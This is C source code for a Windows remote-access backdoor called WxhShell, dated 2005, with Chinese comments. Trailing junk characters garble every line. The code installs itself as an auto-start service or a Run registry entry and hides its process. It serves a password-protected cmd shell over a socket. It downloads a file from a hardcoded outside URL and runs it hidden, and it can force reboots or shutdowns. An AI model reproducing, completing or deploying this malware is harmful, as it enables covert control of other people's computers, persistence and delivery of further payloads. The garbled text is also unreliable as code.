    if(Boot(SHUTDOWN)) *"HA=-Z;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # o;\5MOE%  
    else { f|r +qe  
    closesocket(wsh); o4U[;.?c  
    ExitThread(0); _!K@( dl  
    } m"|AD/2;(  
    break; (Qp53g  
    } (+x!wX( x  
  // 获取shell -Uo"!o>x|  
  case 's': { -*nd5(lY&  
    CmdShell(wsh); P.t0o~hoK;  
    closesocket(wsh); tsWzM9Yf  
    ExitThread(0); aGx[?}=  
    break; 2@jlF!zC  
  } *?`<Ea  
  // 退出 oScKL#Hu  
  case 'x': { M~O$ ,dof  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P. >5`^  
    CloseIt(wsh); 'VQ mK#  
    break; x9qoS)@CM  
    } x3C^S~  
  // 离开 >>I~v)a>w  
  case 'q': { WWtksi,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rP<S =eb  
    closesocket(wsh); 7.!`c-8 u  
    WSACleanup(); b'mp$lt!  
    exit(1); =K`]$Og}8  
    break; Z{p62|+Ck@  
        } Pf?zszvs  
  } IPxK$nI^  
  } UPr8Q^wm  
|\# 6?y[o  
  // 提示信息 =AVr<kP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dxx`<=&g  
} us2RW<Oxv  
  } zjlo3=FQX[  
q*pWx]Y  
  return; r)/nx@x  
} tEC`-> |  
!Bqmw  
// shell模块句柄 iL\eMa  
int CmdShell(SOCKET sock) C0#"U f  
{ a?gziCmS?C  
STARTUPINFO si; /2jw]ekQ'  
ZeroMemory(&si,sizeof(si)); meM61ue_2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .`5BgX7W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p(`?y:.3  
PROCESS_INFORMATION ProcessInfo; mq!_/3  
char cmdline[]="cmd"; =3R5m>6!/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G&f~A;'7k  
  return 0; uNS ]n}  
} (Tbw@BFk  
h}@)oSX }  
// 自身启动模式 Ix1[ $9  
int StartFromService(void) 7$/%c{o  
{ *E1v  
typedef struct %Tvy|L ,  
{ Lr;PESV  
  DWORD ExitStatus; 6d%'>^`(o-  
  DWORD PebBaseAddress; 8Ug`2xS<_  
  DWORD AffinityMask; VsTa!V^~  
  DWORD BasePriority; xZpGSlA  
  ULONG UniqueProcessId; l;'#!hC)  
  ULONG InheritedFromUniqueProcessId; ;~ , <8  
}   PROCESS_BASIC_INFORMATION; vi-mn)L6#  
SeX:A)*ez%  
PROCNTQSIP NtQueryInformationProcess; x O gUX6n  
-0R;C`(!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CTOrBl$70  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QZ:xG:qyk;  
Xj+oV  
  HANDLE             hProcess; SGUu\yS&s  
  PROCESS_BASIC_INFORMATION pbi; rh%-va9  
BMlu>,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `*to( )  
  if(NULL == hInst ) return 0; bo%v(  
leMcY6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }M+2 ,#l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IQ3]fLb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v@KP~kp  
g3"eEg5NY  
  if (!NtQueryInformationProcess) return 0; -'jPue2\  
A0hfy|1#L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HGJfj*JH  
  if(!hProcess) return 0; SSh=r  
!`VC4o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {#Vck\&  
)rP)-op|A  
  CloseHandle(hProcess); ./ !6M  
PiTe/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q#$#VT!F  
if(hProcess==NULL) return 0; O alBr?^  
eJm7}\/6`  
HMODULE hMod; "BAH=ul5E  
char procName[255]; A7SE>e>  
unsigned long cbNeeded; d|, B* N(w  
1; "t8.*%e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /V% ]lmxQ  
]|y]?7  
  CloseHandle(hProcess); !^ /Mn  
ggR--`D[  
if(strstr(procName,"services")) return 1; // 以服务启动 DIU9Le  
xn)eb#r  
  return 0; // 注册表启动 nHB=*Mj DV  
} uv,_?x\'  
V>2mz c  
// 主模块 +z2+z  
int StartWxhshell(LPSTR lpCmdLine) jD eNCJ  
{ eyiGe1^C  
  SOCKET wsl; sMikTwR/^  
BOOL val=TRUE; W?B(Jsv  
  int port=0; DrTo")T  
  struct sockaddr_in door; |=Mn~`9p  
,z1fiq  
  if(wscfg.ws_autoins) Install(); JvZNr?_w%  
P=j89-e  
port=atoi(lpCmdLine); %!>~2=Q2*  
B:pIzCP  
if(port<=0) port=wscfg.ws_port; 0{ O|o_  
MwlhL?  
  WSADATA data; sZ,mRT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [uh$\s7  
$:bU<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2eOde(K+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $6c8<!B_  
  door.sin_family = AF_INET; c QjzI#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~x>?1K  
  door.sin_port = htons(port); {cNH|  
$1CAfSgKw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r`THOj\cM  
closesocket(wsl); S&C  
return 1; |Q'l&Gt6  
} WaV P+Ap  
IkU:D"n7  
  if(listen(wsl,2) == INVALID_SOCKET) { 6tE<`"P!  
closesocket(wsl); bIP'(B#1K  
return 1; -1Luyuy/`  
} ;btH[a iV  
  Wxhshell(wsl); %#.H FK  
  WSACleanup(); s ^/<6kwO  
7DU"QeLeb  
return 0; P8JN m"C  
Lmy ^/P%  
} CL^MIcq?  
%C]K`=vI-  
// 以NT服务方式启动 ? U:LAub  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B}.G(-u?7  
{ He4sP` &I  
DWORD   status = 0; :eK;:pN  
  DWORD   specificError = 0xfffffff; J^@0Ff;=5^  
qp-/S^%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V}#2pP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }ug|&25D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; glk_ *x  
  serviceStatus.dwWin32ExitCode     = 0; W*q[f!@  
  serviceStatus.dwServiceSpecificExitCode = 0; NXv u}&H  
  serviceStatus.dwCheckPoint       = 0; ^/Id!Y7  
  serviceStatus.dwWaitHint       = 0; $18|@\Znj  
5@$b@jTd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lc%2Pi[X  
  if (hServiceStatusHandle==0) return; G[YbgG=9Y  
4#?Ox vH  
status = GetLastError(); =kq!e  
  if (status!=NO_ERROR) m8Q6ESg<*u  
{ 8v6YOG"b q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a*d>WN.;U  
    serviceStatus.dwCheckPoint       = 0; m8F-#?~  
    serviceStatus.dwWaitHint       = 0; %@Nuzdp  
    serviceStatus.dwWin32ExitCode     = status; kfo, PrW`A  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8X`Gm!)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~n#rATbxf  
    return; %C%~f {4  
  } Vcg$H8m  
t)74(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @|xcrEnP}B  
  serviceStatus.dwCheckPoint       = 0; (( 0%>HJ{~  
  serviceStatus.dwWaitHint       = 0; DfFsCTu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 317Lv \[  
} "E;]?s9x  
e,qc7BJzK  
// 处理NT服务事件,比如:启动、停止 { Slc6$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) " 1YARGu  
{ B*A{@)_  
switch(fdwControl) i,BE]w  
{ rrei6$H&  
case SERVICE_CONTROL_STOP: 2H8,&lY.p  
  serviceStatus.dwWin32ExitCode = 0; <qs>c<Vj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~/J:p5?L  
  serviceStatus.dwCheckPoint   = 0; jE.U~D)2YF  
  serviceStatus.dwWaitHint     = 0; '{j.5~4y  
  { $D8eCjUm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N<$U:!Z  
  } Dh0`t@  
  return; ;2 oR?COW  
case SERVICE_CONTROL_PAUSE: 2E^zQ>;01  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [1@ -F+  
  break; _8b)Xx@5  
case SERVICE_CONTROL_CONTINUE: _ 97  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mt)`hR+2  
  break; \w{x- }  
case SERVICE_CONTROL_INTERROGATE: 4(MZ*6G]?  
  break; A,rgN;5fb  
}; r*<)QP^B~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Xaw  
} -crKBy  
LbDhPG`u  
// 标准应用程序主函数 Q+E%"`3V4l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MK 7S*N1  
{ ~M%r.WFpA  
IC>OxYg*  
// 获取操作系统版本 MNOT<(  
OsIsNt=GetOsVer();  ] L4B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -J4?Km  
Wq8Uq}~_g  
  // 从命令行安装 x]lv:m\)jT  
  if(strpbrk(lpCmdLine,"iI")) Install(); EO$_]0yI;_  
 B\1F  
  // 下载执行文件 .?9+1.`  
if(wscfg.ws_downexe) { O.CRF-` t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sY!PXD0Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ET1/oG<@  
} Se qnO.\  
O`U&0lKi'  
if(!OsIsNt) { fD#|C~:=  
// 如果时win9x,隐藏进程并且设置为注册表启动 |&WeXVH E  
HideProc(); {`BC$V  
StartWxhshell(lpCmdLine); (Y\aV+9[  
} )e|Cd} 2  
else q[1:h  
  if(StartFromService()) -8; ,#  
  // 以服务方式启动 >up'`K,  
  StartServiceCtrlDispatcher(DispatchTable); fQc2K|V  
else J:Uf}!D  
  // 普通方式启动 48Y5ppcS  
  StartWxhshell(lpCmdLine); {;]:}nA  
\ Xow#@[  
return 0; O{rgx~lLJt  
} y-O# +{7  
*`[dC,+`.  
\9dSI  
lg1yj}br  
=========================================== m{Jo'*%8f  
|BhfW O8p  
j7=I!<w V  
 `W< 7.  
|^Nz/PN  
t QkEJ pj  
" o-2FGM`*VB  
Fv=7~6~  
#include <stdio.h> Xm&L@2V  
#include <string.h> =( b;Cow  
#include <windows.h> awN{F6@ZE  
#include <winsock2.h> IE!fNuR4  
#include <winsvc.h> b}4k-hZL  
#include <urlmon.h> J"'2zg1&  
#<|5<U  
#pragma comment (lib, "Ws2_32.lib") "ut:\%39.  
#pragma comment (lib, "urlmon.lib") d)`XG cx{=  
 ZeD;  
#define MAX_USER   100 // 最大客户端连接数 vAi NOpz#  
#define BUF_SOCK   200 // sock buffer "f\2/4EIl  
#define KEY_BUFF   255 // 输入 buffer g9(zJ  
jXq~ x"(  
#define REBOOT     0   // 重启 n~N>c*p  
#define SHUTDOWN   1   // 关机 50% |9D0?Y  
5&q@;vR  
#define DEF_PORT   5000 // 监听端口 +N1oOcPC>C  
`"QUA G  
#define REG_LEN     16   // 注册表键长度 ^G%Bj`%  
#define SVC_LEN     80   // NT服务名长度 &P{  
;K38I}  
// 从dll定义API |1J=wp)#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q/r0p>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dgh|,LqUB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7qSlqA<Hs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2/S~l;x  
%0T/>:1[E  
// wxhshell配置信息 %:^,7 .H@  
struct WSCFG { [z#C&gDt  
  int ws_port;         // 监听端口 -dbD&8  
  char ws_passstr[REG_LEN]; // 口令 Kd^{~Wlz&z  
  int ws_autoins;       // 安装标记, 1=yes 0=no iA*Z4FKkT  
  char ws_regname[REG_LEN]; // 注册表键名 b3}928!D-@  
  char ws_svcname[REG_LEN]; // 服务名 FrD.{(/~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0L10GJ"(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }T%;G /W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I$0JAy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b9%}< w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3U=q3{%1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6dTq&GZ\  
'Y3>+7bI  
}; Q(h,P+  
bep}|8,#u  
// default Wxhshell configuration "6rZn_H/|  
struct WSCFG wscfg={DEF_PORT, Zzr+p.  
    "xuhuanlingzhe", ,}F2l|x_  
    1, @<Au|l`  
    "Wxhshell", 2pFOC;tl  
    "Wxhshell", K[)N/Q  
            "WxhShell Service", lM Gz"cym  
    "Wrsky Windows CmdShell Service", *)"U5A/v)  
    "Please Input Your Password: ", NWPL18*C  
  1, Ga~N7  
  "http://www.wrsky.com/wxhshell.exe", Us.yKAHPV  
  "Wxhshell.exe" m>2b %GTh  
    }; d$)'?Sf]h  
8,2l >S  
// 消息定义模块 g.aNITjP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ne*I$T 5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8yax.N j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @8C^[fDL  
char *msg_ws_ext="\n\rExit."; U,)Ngnd  
char *msg_ws_end="\n\rQuit."; k\_>/)g  
char *msg_ws_boot="\n\rReboot..."; * JGm  
char *msg_ws_poff="\n\rShutdown..."; I^/Ugu  
char *msg_ws_down="\n\rSave to "; nk9hQRP? 8  
o1"U'y-9V  
char *msg_ws_err="\n\rErr!"; w(`X P  
char *msg_ws_ok="\n\rOK!"; DU$]e1  
H? N!F7s  
char ExeFile[MAX_PATH]; rgILOtk[  
int nUser = 0; Cca( oV  
HANDLE handles[MAX_USER]; Tz58@VYV  
int OsIsNt; U6FM`w<  
Zb-TCS+3l  
SERVICE_STATUS       serviceStatus; wM(!9Ws3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hU5[k/ q  
iKV;>gF,)v  
// 函数声明 Eag->mw/~  
int Install(void); 2i', e  
int Uninstall(void); wQb")3dw  
int DownloadFile(char *sURL, SOCKET wsh); L':;Vv~-  
int Boot(int flag); *gHOH!K,S  
void HideProc(void); /MsXw/],  
int GetOsVer(void); kJy<vb~   
int Wxhshell(SOCKET wsl); ) !3XM  
void TalkWithClient(void *cs); QpS0iUG  
int CmdShell(SOCKET sock); G hLgV  
int StartFromService(void); ujB:G0'r  
int StartWxhshell(LPSTR lpCmdLine); 0@,,YZ f  
G9z Q{E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y[$[0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wED~^[]f  
`>rdn*B  
// 数据结构和表定义 {i~qm4+o  
SERVICE_TABLE_ENTRY DispatchTable[] = z|}Anc[\  
{ HYLU]9aH8  
{wscfg.ws_svcname, NTServiceMain}, Y1{6lhxgE  
{NULL, NULL} &xr?yd  
}; RK/SeS  
 gsc/IUk  
// 自我安装 CeR4's7  
int Install(void) VyCBJK  
{ +F&w~UT  
  char svExeFile[MAX_PATH]; -:pLlN-f  
  HKEY key; / !jd%,G  
  strcpy(svExeFile,ExeFile); >T.U\,om7  
Kx*;!3-V$  
// 如果是win9x系统,修改注册表设为自启动 iK(n'X5i  
if(!OsIsNt) { fbNVmjb$)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r4Pm i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @`$8rck`  
  RegCloseKey(key); =B*,S#r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n0O- Bxhl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p:k>!8.Qho  
  RegCloseKey(key); SR%h=`t  
  return 0; %l,p />r  
    } _R]la&^2F\  
  } &Dqg<U  
} d '4c?vC  
else { >\^:xx Tf  
\W( C=e  
// 如果是NT以上系统,安装为系统服务 50l=B]M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w80g) 4V+  
if (schSCManager!=0) -2K`:}\y&  
{ 'RTz*CSZ  
  SC_HANDLE schService = CreateService KxGK`'E'r  
  ( ss236&  
  schSCManager, ;wp)E nF  
  wscfg.ws_svcname, Q6RBZucv  
  wscfg.ws_svcdisp, _Wk!d3bsx  
  SERVICE_ALL_ACCESS, {#zJx(2yG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1r\? uD  
  SERVICE_AUTO_START, /(E)|*~6  
  SERVICE_ERROR_NORMAL, L 2Os\  
  svExeFile, n_v|fxF1  
  NULL, bMxzJRrNg  
  NULL, W _yVVr  
  NULL, Y2yVl+  
  NULL, 1 BAnf9  
  NULL Tr(w~et  
  ); g(,gg1mG  
  if (schService!=0) z./u;/:  
  { Fj7cI +  
  CloseServiceHandle(schService); 0{@E=}}h  
  CloseServiceHandle(schSCManager); ^$6EO) <  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <lB^>Hfu  
  strcat(svExeFile,wscfg.ws_svcname); s0E:hn:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bv4lgRE6Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w6qx  
  RegCloseKey(key); UCa(3p^V_  
  return 0; 3EI$tP@4  
    } 5WP)na6"  
  } <I&X[Sqp  
  CloseServiceHandle(schSCManager); z$QYl*F1  
} TC<_I0jCh  
} 2Rc#{A  
:,fs' !  
return 1; V[(zRGa{  
} 4@.qM6 \\q  
v<ASkkh>  
// 自我卸载 E"b+Q  
int Uninstall(void) #B88w9 b`D  
{ BB.^-0up  
  HKEY key; q$yTG!q*  
quTM|>=_R  
if(!OsIsNt) { :tl* >d~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?rKewdGY  
  RegDeleteValue(key,wscfg.ws_regname); kOfbO'O9  
  RegCloseKey(key); h rW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fk<0~ tE  
  RegDeleteValue(key,wscfg.ws_regname); #e}Q|pF  
  RegCloseKey(key); F *=>=  
  return 0; +4Aj/$%[q  
  } _rdEur C6  
} /vYuwaWG=  
} bE74Ui  
else { *?zmo@-  
w<!F& kQB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \uQ yp*P1s  
if (schSCManager!=0) eGkB#.+J!  
{ bJ4})P&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cvry8B  
  if (schService!=0) -|bnvPmE  
  { s!:'3[7+  
  if(DeleteService(schService)!=0) { U>H"N1  
  CloseServiceHandle(schService); RP9#P&Qk  
  CloseServiceHandle(schSCManager); { 0RwjPYp  
  return 0; 1xP*  
  } }`ox;Q  
  CloseServiceHandle(schService); 2w_[c.  
  } ^hr^f;N  
  CloseServiceHandle(schSCManager); /'' |bIPa  
} ?41bZ$j  
} io%WV%1_  
mhVdsa  
return 1; NOM6},rp  
} aO)Cq5  
[U'I3x,  
// 从指定url下载文件  UCV1{  
int DownloadFile(char *sURL, SOCKET wsh) UR?biq  
{ )-VpDW!%_  
  HRESULT hr; bca4'`3\|  
char seps[]= "/"; ~8:q-m_h  
char *token; Vl'Gi44)3"  
char *file; 0h/bC)z  
char myURL[MAX_PATH]; ^%ZbjJ7|j  
char myFILE[MAX_PATH]; .3>`yL  
ZDny=&>#  
strcpy(myURL,sURL); n x4:n@J  
  token=strtok(myURL,seps); >vQ8~*xd  
  while(token!=NULL) ~H`m"4zQ  
  { lldNIL6B%  
    file=token; Gk:tT1  
  token=strtok(NULL,seps); rf?%- X(V  
  } v}\4/u  
h'lqj0  
GetCurrentDirectory(MAX_PATH,myFILE); BK 3oNDy  
strcat(myFILE, "\\"); Br4[hUV/  
strcat(myFILE, file); &_cH9zw@  
  send(wsh,myFILE,strlen(myFILE),0); <qGxkV  
send(wsh,"...",3,0); ;P *`v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QNbV=*F?  
  if(hr==S_OK) cY mgJBG  
return 0; GHNw.<`l?  
else *T6*Nxs0k  
return 1; |P0!dt7sQ  
tNoPpIu  
} H^ 'As;R  
9$k0  
// 系统电源模块 CKI.\o  
int Boot(int flag) x" lcE@(  
{ t =V| '  
  HANDLE hToken; PI\C*_.  
  TOKEN_PRIVILEGES tkp; )Cu2xRr^`  
}#r awVe=  
  if(OsIsNt) { S-'R84M,F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :W^\ } UX4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t)|~8xpP  
    tkp.PrivilegeCount = 1; mq}V @H5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tm&,u*6$W?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s<>d& W 0=  
if(flag==REBOOT) { `^ZhxFX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r=-b@U.fk>  
  return 0; D%}rQ,*  
} av&~A+b .r  
else { \5|MW)x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /:tzSKq}  
  return 0; =MU(!`  
} \sz*M B  
  } Yt[LIn-v:  
  else { qv^P  
if(flag==REBOOT) { oN2#Jh%dH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [QFAkEJ--o  
  return 0; EXMW,  
} > ^=n|%  
else { a,36FF~&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i#98KzE  
  return 0; wBDHhXi0  
} ~&?57Sw*m  
} z3Yi$*q <  
+BeA4d8b  
return 1; f&j\gYWq  
} )DmydyQ'  
egK~w8`W%  
// win9x进程隐藏模块 #SKC>M Gz  
void HideProc(void) _dELVs7OL  
{ n }b{u@$  
NE.h/+4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #.rkvoB0N  
  if ( hKernel != NULL ) ftvu69f  
  { ;*'I&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j!@T@ 8J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); veuX />!  
    FreeLibrary(hKernel); 0cSm^a  
  } Qo :vAv  
{+zG.1o^  
return; ~5&B#Sm[G  
} i}:hmy'  
Mq#m;v$E  
// 获取操作系统版本 pV(k6h  
int GetOsVer(void) #1%ahPhR+  
{ xT+#K5  
  OSVERSIONINFO winfo; BYu(a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !ui t  
  GetVersionEx(&winfo); \s%g'g;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V@]SKbK}wN  
  return 1; r!1f>F*dt  
  else ZR -RzT1  
  return 0; ia3Q1 9r  
} ;e*okYM  
IqV" 4  
// 客户端句柄模块 w+"E{#N  
int Wxhshell(SOCKET wsl) lX%-oRQ/os  
{ |||m5(`S  
  SOCKET wsh; w,X)g{^T  
  struct sockaddr_in client; 2z*}fkJ  
  DWORD myID; GZWqP M4S\  
1TX3/]:  
  while(nUser<MAX_USER) vmEn$`&2t  
{ z6}p4  
  int nSize=sizeof(client); 2*^=)5Gj-h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  S!#5  
  if(wsh==INVALID_SOCKET) return 1; YhNrg?nS  
oQrfrA&=M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M*bsA/Z  
if(handles[nUser]==0) ?mM:oQH+>  
  closesocket(wsh); xI<B)6D;f  
else xOPQ~J|z  
  nUser++; ;zze.kb&F  
  } [TQYu:e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q|P M6ta  
Xp| 4WM  
  return 0; @GD $KR9  
} ftcLP  
zRmVV}b  
// 关闭 socket %]Nm'"Y`U  
void CloseIt(SOCKET wsh) &>+5 8  
{ y`8U0TE3R  
closesocket(wsh); w)* H&8h@  
nUser--; 4"Qb^y  
ExitThread(0); WF*j^ %5  
} j:uq85 s  
rXz q :  
// 客户端请求句柄 ^!C  
void TalkWithClient(void *cs) o/ 51 RH  
{ @YRy)+  
`n-/~7  
  SOCKET wsh=(SOCKET)cs; F'>yBDm*OM  
  char pwd[SVC_LEN]; =w;-4  
  char cmd[KEY_BUFF]; J @~g>   
char chr[1]; f3n^Sw&Q(Q  
int i,j; 3N!v"2!#  
nC !NZ  
  while (nUser < MAX_USER) { TD*AFR3Oz  
: O@(Sv  
if(wscfg.ws_passstr) { A@?-"=h}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !5h-$;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "M+I$*]  
  //ZeroMemory(pwd,KEY_BUFF); ~|, "w90  
      i=0; *Q?8OwhJ  
  while(i<SVC_LEN) { Pzd!"Gl9  
oiR9NB&<  
  // 设置超时 ~`Vo0Z*S  
  fd_set FdRead; ^8bc<c:P  
  struct timeval TimeOut; >EA\KrjW  
  FD_ZERO(&FdRead); /&G|.Cx  
  FD_SET(wsh,&FdRead); hP{+`\&<f  
  TimeOut.tv_sec=8; E_$nsM8?  
  TimeOut.tv_usec=0; RrH{Y0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7JuHa /Mv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GutiqVP:B  
-R1;(n)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *kZH~]  
  pwd=chr[0]; nO'C2)bBSG  
  if(chr[0]==0xd || chr[0]==0xa) { pRxVsOb  
  pwd=0; D-t!{LA  
  break; W`oyDg,D  
  } (RrC<5"  
  i++; P0_Ymn=&  
    } _-#o[>2[  
@c"s6h&  
  // 如果是非法用户,关闭 socket C2zKt/)A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 90Sras>F  
} AY"wEyNU  
U|.r -$|5P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )K::WqR%w)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;o;ak.dTt  
7I]?:%8 h  
while(1) { "Dq^r9  
%qE"A6j  
  ZeroMemory(cmd,KEY_BUFF); S= `$w  
r~7}w4U  
      // 自动支持客户端 telnet标准   ~ Al3Dv9x  
  j=0; E+e),qsbO  
  while(j<KEY_BUFF) { ,Csjb1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c05-1  
  cmd[j]=chr[0]; t;PG  
  if(chr[0]==0xa || chr[0]==0xd) { l= Jw6F+5  
  cmd[j]=0; E;'{qp  
  break; 3QVUWhJ  
  } 73]t5=D:  
  j++; r}Gku0Hu_E  
    } ypemp=+(r  
pXBh^  
  // 下载文件 e0ni  
  if(strstr(cmd,"http://")) { [ybK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UmMu|`  
  if(DownloadFile(cmd,wsh)) `)KGajB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Spa F)N8  
  else 9B83HV4J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :f_oN3F p  
  } U,fPG/9  
  else { pzQc UG  
+ !nf?5;  
    switch(cmd[0]) { aM#xy6:XG  
  mF4OLG3L0  
